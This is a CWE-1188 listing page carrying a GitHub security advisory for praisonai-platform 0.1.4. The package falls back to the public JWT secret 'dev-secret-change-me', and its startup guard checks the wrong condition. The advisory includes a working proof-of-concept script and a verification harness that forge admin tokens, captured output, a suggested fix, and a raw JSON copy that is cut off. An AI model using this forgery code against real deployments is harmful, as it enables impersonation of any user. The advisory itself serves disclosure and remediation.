Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

402 vulnerabilities reference this CWE, most recent first.

GHSA-CWJ8-7GP2-GGCW

Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-06-18 14:27
VLAI
Summary
praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery
Details

praisonai-platform: default JWT signing secret dev-secret-change-me

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI


Package: praisonai-platform on PyPI Latest version (and version tested): 0.1.4, current as of 2026-06-01. File: praisonai_platform/services/auth_service.py (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258). Weakness: CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.


TL;DR

praisonai_platform/services/auth_service.py lines 25-37:

_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
    raise RuntimeError(
        "PLATFORM_JWT_SECRET must be set to a strong random value in production. "
        "Set PLATFORM_ENV=dev to suppress this check during development."
    )

The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when both:

  • the operator left PLATFORM_JWT_SECRET unset (so JWT_SECRET is the default literal), and
  • the operator explicitly set PLATFORM_ENV to something other than "dev".

If the operator left both env vars unset — the most common mis-deploy — PLATFORM_ENV falls back to "dev", the second leg of the and evaluates False, and the guard does NOT fire. The server starts up signing every JWT with the public string 'dev-secret-change-me'.

The fix is to invert the polarity: refuse startup when the secret is the default regardless of PLATFORM_ENV, except when an explicit PLATFORM_ALLOW_DEV_SECRET=true (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted.

Root cause

   Expected behavior, reading line 33 of auth_service.py:
     "Good — the framework refuses to start in production with a
      default-string secret.  I'm safe by construction."

   Actual behavior:
     - PLATFORM_ENV defaults to 'dev' when unset.
     - The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production'
       or "operator explicitly opted in to using the dev secret".
     - So the "deployed without setting any env var" config — typical
       for first-pip-install or quick-start docker — sits silently in
       dev mode with the public secret.

   Impact:
     A guard that requires the operator to EXPLICITLY signal
     "production" cannot catch operators who forgot to signal anything.
     The forgot-to-signal case is the one the guard was designed to
     catch.

Empirical verification

poc/poc.py imports the installed PyPI package (praisonai-platform==0.1.4) with both env vars unset:

[1] startup guard at auth_service.py:33 status
    Inputs:
      JWT_SECRET    = 'dev-secret-change-me'
      _DEFAULT_SECRET = 'dev-secret-change-me'
      PLATFORM_ENV  = 'dev'  (default 'dev')
    -> JWT_SECRET == _DEFAULT_SECRET: True
    -> PLATFORM_ENV != 'dev':         False
    -> guard fires?                   False

[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258
    JWT_ALGORITHM: 'HS256'

[3] forge a JWT signed with the live JWT_SECRET
    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[4] jwt.decode(forged_token, JWT_SECRET) — same call as
    AuthService._verify_token at auth_service.py:139
    decoded.sub  = admin-user-id-attacker-chose
    decoded.email= admin@example.com

[5] AuthService._verify_token(forged_token) (live method call)
    identity.id    = admin-user-id-attacker-chose
    identity.email = admin@example.com

VERDICT: VULNERABLE
EXIT 0

Step [5] is the load-bearing one: the attacker token is decoded by the same method the FastAPI dependency get_current_user (praisonai_platform/api/deps.py:28) calls. The returned AuthIdentity carries the attacker-chosen sub (user id) and email. Every route protected by Depends(get_current_user) (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.

PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256.

Impact

This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author intended to catch the misconfiguration but whose polarity is wrong. Every route in praisonai_platform.api.app:create_app is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.

Workspace authorisation (require_workspace_member in deps.py) then checks the forged user is a member of the requested workspace; if the attacker mints a token with sub equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token.

Anchors

praisonai-platform 0.1.4, praisonai_platform/services/auth_service.py (file sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258):

Line Code Meaning
25 _DEFAULT_SECRET = "dev-secret-change-me" Public default literal.
26 JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET) Env-var fallback chain.
27 JWT_ALGORITHM = "HS256" HMAC-SHA256 with the default key.
33-37 if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...) The asymmetric guard. Defaults PLATFORM_ENV to "dev", so the != "dev" check evaluates False on the forgot-to-set case.
108-118 _issue_token(...) calls jwt.encode(payload, JWT_SECRET, …) Signing site.
137-150 _verify_token(...) calls jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) Verification site — accepts attacker-forged tokens.

praisonai_platform/api/deps.py:28 get_current_user calls AuthService.authenticate({"token": token}) which routes to _verify_token. Every router under praisonai_platform.api.app mounts handlers behind this dependency.

Suggested fix

Invert the guard polarity:

import secrets

_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if not JWT_SECRET:
    # Allow the dev fallback only when the operator EXPLICITLY signals
    # they understand it.  The default posture is fail-closed.
    if os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true":
        JWT_SECRET = _DEFAULT_SECRET
    else:
        raise RuntimeError(
            "PLATFORM_JWT_SECRET is required.  "
            "For local development only, set PLATFORM_ALLOW_DEV_SECRET=true."
        )

This pattern is borrowed from Django's SECRET_KEY first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (PLATFORM_ALLOW_DEV_SECRET=true) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonai-platform's default JWT signing key is the public literal
'dev-secret-change-me', and the guard intended to refuse production
startup checks the wrong axis — operators who deploy without setting
`PLATFORM_ENV` are treated as `dev` and silently get the public secret.

Prerequisite:
    pip install praisonai-platform pyjwt
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
    # Simulate the realistic "operator pip-installed praisonai-platform
    # and started uvicorn without setting any env var" deployment.
    for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'):
        if env_var in os.environ:
            del os.environ[env_var]

    print('=' * 72)
    print('praisonai-platform — default JWT secret')
    print('=' * 72)

    try:
        from praisonai_platform.services import auth_service
    except RuntimeError as e:
        print(f'\nUNEXPECTED — import raised at startup: {e}')
        return 1

    src = inspect.getsourcefile(auth_service)
    with open(src, 'rb') as f:
        sha = hashlib.sha256(f.read()).hexdigest()

    print()
    print('[1] startup guard at auth_service.py:33 status')
    print(f'      JWT_SECRET    = {auth_service.JWT_SECRET!r}')
    print(f'      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}')
    print(f"      PLATFORM_ENV  = {os.environ.get('PLATFORM_ENV', 'dev')!r}  (default 'dev')")
    print('    => Guard does NOT fire on the "operator forgot to set both" failure mode.')

    print()
    print('[2] module sha256 + key bindings on the LIVE installed package')
    print(f'    sha256:          {sha}')
    print(f'    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}')

    if auth_service.JWT_SECRET != 'dev-secret-change-me':
        print('UNEXPECTED — JWT_SECRET is not the public literal.')
        return 1

    import jwt
    from datetime import datetime, timedelta, timezone

    now = datetime.now(timezone.utc)
    forged_payload = {
        'sub': 'admin-user-id-attacker-chose',
        'email': 'admin@example.com',
        'name': 'Spoofed Admin',
        'iat': now,
        'exp': now + timedelta(seconds=3600),
    }
    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)
    print()
    print('[3] forge a JWT signed with the live JWT_SECRET')
    print(f'    forged head: {forged_token[:70]}...')

    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])
    print()
    print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token')
    print(f'    decoded.sub  = {decoded.get("sub")}')
    print(f'    decoded.email= {decoded.get("email")}')

    if decoded.get('sub') != 'admin-user-id-attacker-chose':
        print('UNEXPECTED — decoded payload mismatched.')
        return 1

    try:
        svc = auth_service.AuthService(session=None)
        identity = svc._verify_token(forged_token)
    except Exception as e:
        print(f'    (Couldn\'t reach _verify_token: {e!r})')
        identity = None

    if identity is not None:
        print()
        print('[5] AuthService._verify_token(forged_token) (live method call)')
        print(f'    identity.id    = {identity.id}')
        print(f'    identity.email = {identity.email}')

    print()
    print("VULNERABLE: praisonai-platform defaults JWT_SECRET to the public")
    print("            literal 'dev-secret-change-me'.  The line-33 guard only")
    print("            refuses startup when PLATFORM_ENV is explicitly non-'dev'")
    print('            AND the secret is default — operators who forgot to set')
    print('            the env var entirely are silently in dev mode.')
    print('VERDICT: VULNERABLE')
    return 0

if __name__ == '__main__':
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, importlib.util, os
os.environ.pop("PLATFORM_JWT_SECRET", None); os.environ.pop("PLATFORM_ENV", None)  # default deploy
BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform")
def pkg(name, path=None):
    m=types.ModuleType(name)
    if path: m.__path__=[path]
    sys.modules[name]=m; return m
def stub(name, **a):
    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m
pkg("praisonai_platform", BASE+"/praisonai_platform")
pkg("praisonai_platform.services", BASE+"/praisonai_platform/services")
pkg("praisonai_platform.db", BASE+"/praisonai_platform/db")
stub("praisonai_platform.db.models", Member=type("Member",(),{}), User=type("User",(),{}))
stub("sqlalchemy", select=lambda *a,**k:None)
sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext")
stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b}))
stub("praisonaiagents")
class AuthIdentity:
    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name
stub("praisonaiagents.auth", AuthIdentity=AuthIdentity)

spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py")
mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services"
sys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py

print("[*] REAL module JWT_SECRET =", repr(mod.JWT_SECRET), "| _DEFAULT_SECRET =", repr(mod._DEFAULT_SECRET))
AuthService=mod.AuthService
svc=AuthService.__new__(AuthService)                       # bypass DB __init__
FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"})
tok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)
print("[*] REAL _issue_token ->", tok[:46],"...")
ident=svc._verify_token(tok)                                # REAL _verify_token
print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name})
assert ident and ident.id=="attacker-id" and mod.JWT_SECRET=="dev-secret-change-me"
print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me'
[*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...
[+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'}
[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:27:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# praisonai-platform: default JWT signing secret `dev-secret-change-me`\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai-platform` on PyPI\n**Latest version (and version tested):** `0.1.4`, current as of 2026-06-01.\n**File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`).\n**Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.\n\n---\n\n## TL;DR\n\n`praisonai_platform/services/auth_service.py` lines 25-37:\n\n```python\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n    raise RuntimeError(\n        \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n        \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n    )\n```\n\nThe guard at line 33 is meant to catch the \"deployed to production with the default secret\" failure mode. But it only fires when **both**:\n\n- the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and**\n- the operator explicitly set `PLATFORM_ENV` to something other than `\"dev\"`.\n\nIf the operator left **both** env vars unset \u2014 the most common mis-deploy \u2014 `PLATFORM_ENV` falls back to `\"dev\"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `\u0027dev-secret-change-me\u0027`.\n\nThe fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips \"default-allow\" to \"default-deny\", which is what the line-33 comment implies the author wanted.\n\n## Root cause\n\n```\n   Expected behavior, reading line 33 of auth_service.py:\n     \"Good \u2014 the framework refuses to start in production with a\n      default-string secret.  I\u0027m safe by construction.\"\n\n   Actual behavior:\n     - PLATFORM_ENV defaults to \u0027dev\u0027 when unset.\n     - The guard checks PLATFORM_ENV != \u0027dev\u0027, not PLATFORM_ENV == \u0027production\u0027\n       or \"operator explicitly opted in to using the dev secret\".\n     - So the \"deployed without setting any env var\" config \u2014 typical\n       for first-pip-install or quick-start docker \u2014 sits silently in\n       dev mode with the public secret.\n\n   Impact:\n     A guard that requires the operator to EXPLICITLY signal\n     \"production\" cannot catch operators who forgot to signal anything.\n     The forgot-to-signal case is the one the guard was designed to\n     catch.\n```\n\n## Empirical verification\n\n`poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset:\n\n```\n[1] startup guard at auth_service.py:33 status\n    Inputs:\n      JWT_SECRET    = \u0027dev-secret-change-me\u0027\n      _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n      PLATFORM_ENV  = \u0027dev\u0027  (default \u0027dev\u0027)\n    -\u003e JWT_SECRET == _DEFAULT_SECRET: True\n    -\u003e PLATFORM_ENV != \u0027dev\u0027:         False\n    -\u003e guard fires?                   False\n\n[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258\n    JWT_ALGORITHM: \u0027HS256\u0027\n\n[3] forge a JWT signed with the live JWT_SECRET\n    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n\n[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as\n    AuthService._verify_token at auth_service.py:139\n    decoded.sub  = admin-user-id-attacker-chose\n    decoded.email= admin@example.com\n\n[5] AuthService._verify_token(forged_token) (live method call)\n    identity.id    = admin-user-id-attacker-chose\n    identity.email = admin@example.com\n\nVERDICT: VULNERABLE\nEXIT 0\n```\n\nStep [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.\n\nPyJWT itself warns the key is 20 bytes \u2014 below the RFC 7518 \u00a73.2 minimum of 32 bytes for HS256.\n\n## Impact\n\nThis is the familiar default-secret shape \u2014 a hardcoded fallback used to sign authentication tokens \u2014 with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.\n\nWorkspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member\u0027s id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client \u2014 including the attacker\u0027s own forged token.\n\n## Anchors\n\n`praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`):\n\n| Line  | Code                                                                | Meaning |\n|-------|---------------------------------------------------------------------|---------|\n| 25    | `_DEFAULT_SECRET = \"dev-secret-change-me\"`                          | Public default literal.  |\n| 26    | `JWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", _DEFAULT_SECRET)` | Env-var fallback chain. |\n| 27    | `JWT_ALGORITHM = \"HS256\"`                                            | HMAC-SHA256 with the default key. |\n| 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\": raise RuntimeError(...)` | The asymmetric guard.  Defaults `PLATFORM_ENV` to `\"dev\"`, so the `!= \"dev\"` check evaluates `False` on the forgot-to-set case. |\n| 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, \u2026)`     | Signing site. |\n| 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site \u2014 accepts attacker-forged tokens.  |\n\n`praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({\"token\": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency.\n\n## Suggested fix\n\nInvert the guard polarity:\n\n```python\nimport secrets\n\n_DEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\n\nif not JWT_SECRET:\n    # Allow the dev fallback only when the operator EXPLICITLY signals\n    # they understand it.  The default posture is fail-closed.\n    if os.environ.get(\"PLATFORM_ALLOW_DEV_SECRET\", \"\").lower() == \"true\":\n        JWT_SECRET = _DEFAULT_SECRET\n    else:\n        raise RuntimeError(\n            \"PLATFORM_JWT_SECRET is required.  \"\n            \"For local development only, set PLATFORM_ALLOW_DEV_SECRET=true.\"\n        )\n```\n\nThis pattern is borrowed from Django\u0027s `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai-platform\u0027s default JWT signing key is the public literal\n\u0027dev-secret-change-me\u0027, and the guard intended to refuse production\nstartup checks the wrong axis \u2014 operators who deploy without setting\n`PLATFORM_ENV` are treated as `dev` and silently get the public secret.\n\nPrerequisite:\n    pip install praisonai-platform pyjwt\n\"\"\"\n\nimport hashlib\nimport inspect\nimport os\nimport sys\n\ndef main() -\u003e int:\n    # Simulate the realistic \"operator pip-installed praisonai-platform\n    # and started uvicorn without setting any env var\" deployment.\n    for env_var in (\u0027PLATFORM_JWT_SECRET\u0027, \u0027PLATFORM_ENV\u0027):\n        if env_var in os.environ:\n            del os.environ[env_var]\n\n    print(\u0027=\u0027 * 72)\n    print(\u0027praisonai-platform \u2014 default JWT secret\u0027)\n    print(\u0027=\u0027 * 72)\n\n    try:\n        from praisonai_platform.services import auth_service\n    except RuntimeError as e:\n        print(f\u0027\\nUNEXPECTED \u2014 import raised at startup: {e}\u0027)\n        return 1\n\n    src = inspect.getsourcefile(auth_service)\n    with open(src, \u0027rb\u0027) as f:\n        sha = hashlib.sha256(f.read()).hexdigest()\n\n    print()\n    print(\u0027[1] startup guard at auth_service.py:33 status\u0027)\n    print(f\u0027      JWT_SECRET    = {auth_service.JWT_SECRET!r}\u0027)\n    print(f\u0027      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}\u0027)\n    print(f\"      PLATFORM_ENV  = {os.environ.get(\u0027PLATFORM_ENV\u0027, \u0027dev\u0027)!r}  (default \u0027dev\u0027)\")\n    print(\u0027    =\u003e Guard does NOT fire on the \"operator forgot to set both\" failure mode.\u0027)\n\n    print()\n    print(\u0027[2] module sha256 + key bindings on the LIVE installed package\u0027)\n    print(f\u0027    sha256:          {sha}\u0027)\n    print(f\u0027    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}\u0027)\n\n    if auth_service.JWT_SECRET != \u0027dev-secret-change-me\u0027:\n        print(\u0027UNEXPECTED \u2014 JWT_SECRET is not the public literal.\u0027)\n        return 1\n\n    import jwt\n    from datetime import datetime, timedelta, timezone\n\n    now = datetime.now(timezone.utc)\n    forged_payload = {\n        \u0027sub\u0027: \u0027admin-user-id-attacker-chose\u0027,\n        \u0027email\u0027: \u0027admin@example.com\u0027,\n        \u0027name\u0027: \u0027Spoofed Admin\u0027,\n        \u0027iat\u0027: now,\n        \u0027exp\u0027: now + timedelta(seconds=3600),\n    }\n    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)\n    print()\n    print(\u0027[3] forge a JWT signed with the live JWT_SECRET\u0027)\n    print(f\u0027    forged head: {forged_token[:70]}...\u0027)\n\n    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])\n    print()\n    print(\u0027[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as AuthService._verify_token\u0027)\n    print(f\u0027    decoded.sub  = {decoded.get(\"sub\")}\u0027)\n    print(f\u0027    decoded.email= {decoded.get(\"email\")}\u0027)\n\n    if decoded.get(\u0027sub\u0027) != \u0027admin-user-id-attacker-chose\u0027:\n        print(\u0027UNEXPECTED \u2014 decoded payload mismatched.\u0027)\n        return 1\n\n    try:\n        svc = auth_service.AuthService(session=None)\n        identity = svc._verify_token(forged_token)\n    except Exception as e:\n        print(f\u0027    (Couldn\\\u0027t reach _verify_token: {e!r})\u0027)\n        identity = None\n\n    if identity is not None:\n        print()\n        print(\u0027[5] AuthService._verify_token(forged_token) (live method call)\u0027)\n        print(f\u0027    identity.id    = {identity.id}\u0027)\n        print(f\u0027    identity.email = {identity.email}\u0027)\n\n    print()\n    print(\"VULNERABLE: praisonai-platform defaults JWT_SECRET to the public\")\n    print(\"            literal \u0027dev-secret-change-me\u0027.  The line-33 guard only\")\n    print(\"            refuses startup when PLATFORM_ENV is explicitly non-\u0027dev\u0027\")\n    print(\u0027            AND the secret is default \u2014 operators who forgot to set\u0027)\n    print(\u0027            the env var entirely are silently in dev mode.\u0027)\n    print(\u0027VERDICT: VULNERABLE\u0027)\n    return 0\n\nif __name__ == \u0027__main__\u0027:\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, importlib.util, os\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None); os.environ.pop(\"PLATFORM_ENV\", None)  # default deploy\nBASE = os.path.abspath(\"repos/PraisonAI/src/praisonai-platform\")\ndef pkg(name, path=None):\n    m=types.ModuleType(name)\n    if path: m.__path__=[path]\n    sys.modules[name]=m; return m\ndef stub(name, **a):\n    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m\npkg(\"praisonai_platform\", BASE+\"/praisonai_platform\")\npkg(\"praisonai_platform.services\", BASE+\"/praisonai_platform/services\")\npkg(\"praisonai_platform.db\", BASE+\"/praisonai_platform/db\")\nstub(\"praisonai_platform.db.models\", Member=type(\"Member\",(),{}), User=type(\"User\",(),{}))\nstub(\"sqlalchemy\", select=lambda *a,**k:None)\nsa_async=types.ModuleType(\"sqlalchemy.ext.asyncio\"); sa_async.AsyncSession=type(\"AsyncSession\",(),{}); sys.modules[\"sqlalchemy.ext.asyncio\"]=sa_async; sys.modules[\"sqlalchemy.ext\"]=types.ModuleType(\"sqlalchemy.ext\")\nstub(\"passlib\"); stub(\"passlib.context\", CryptContext=type(\"CryptContext\",(),{\"__init__\":lambda s,*a,**k:None,\"hash\":lambda s,x:x,\"verify\":lambda s,a,b:a==b}))\nstub(\"praisonaiagents\")\nclass AuthIdentity:\n    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name\nstub(\"praisonaiagents.auth\", AuthIdentity=AuthIdentity)\n\nspec=importlib.util.spec_from_file_location(\"praisonai_platform.services.auth_service\", BASE+\"/praisonai_platform/services/auth_service.py\")\nmod=importlib.util.module_from_spec(spec); mod.__package__=\"praisonai_platform.services\"\nsys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py\n\nprint(\"[*] REAL module JWT_SECRET =\", repr(mod.JWT_SECRET), \"| _DEFAULT_SECRET =\", repr(mod._DEFAULT_SECRET))\nAuthService=mod.AuthService\nsvc=AuthService.__new__(AuthService)                       # bypass DB __init__\nFakeUser=type(\"U\",(),{\"id\":\"attacker-id\",\"email\":\"attacker@evil.test\",\"name\":\"admin\"})\ntok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)\nprint(\"[*] REAL _issue_token -\u003e\", tok[:46],\"...\")\nident=svc._verify_token(tok)                                # REAL _verify_token\nprint(\"[+] REAL _verify_token -\u003e\", {\"id\":ident.id,\"email\":ident.email,\"name\":ident.name})\nassert ident and ident.id==\"attacker-id\" and mod.JWT_SECRET==\"dev-secret-change-me\"\nprint(\"[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] REAL module JWT_SECRET = \u0027dev-secret-change-me\u0027 | _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n[*] REAL _issue_token -\u003e eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...\n[+] REAL _verify_token -\u003e {\u0027id\u0027: \u0027attacker-id\u0027, \u0027email\u0027: \u0027attacker@evil.test\u0027, \u0027name\u0027: \u0027admin\u0027}\n[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-cwj8-7gp2-ggcw",
  "modified": "2026-06-18T14:27:34Z",
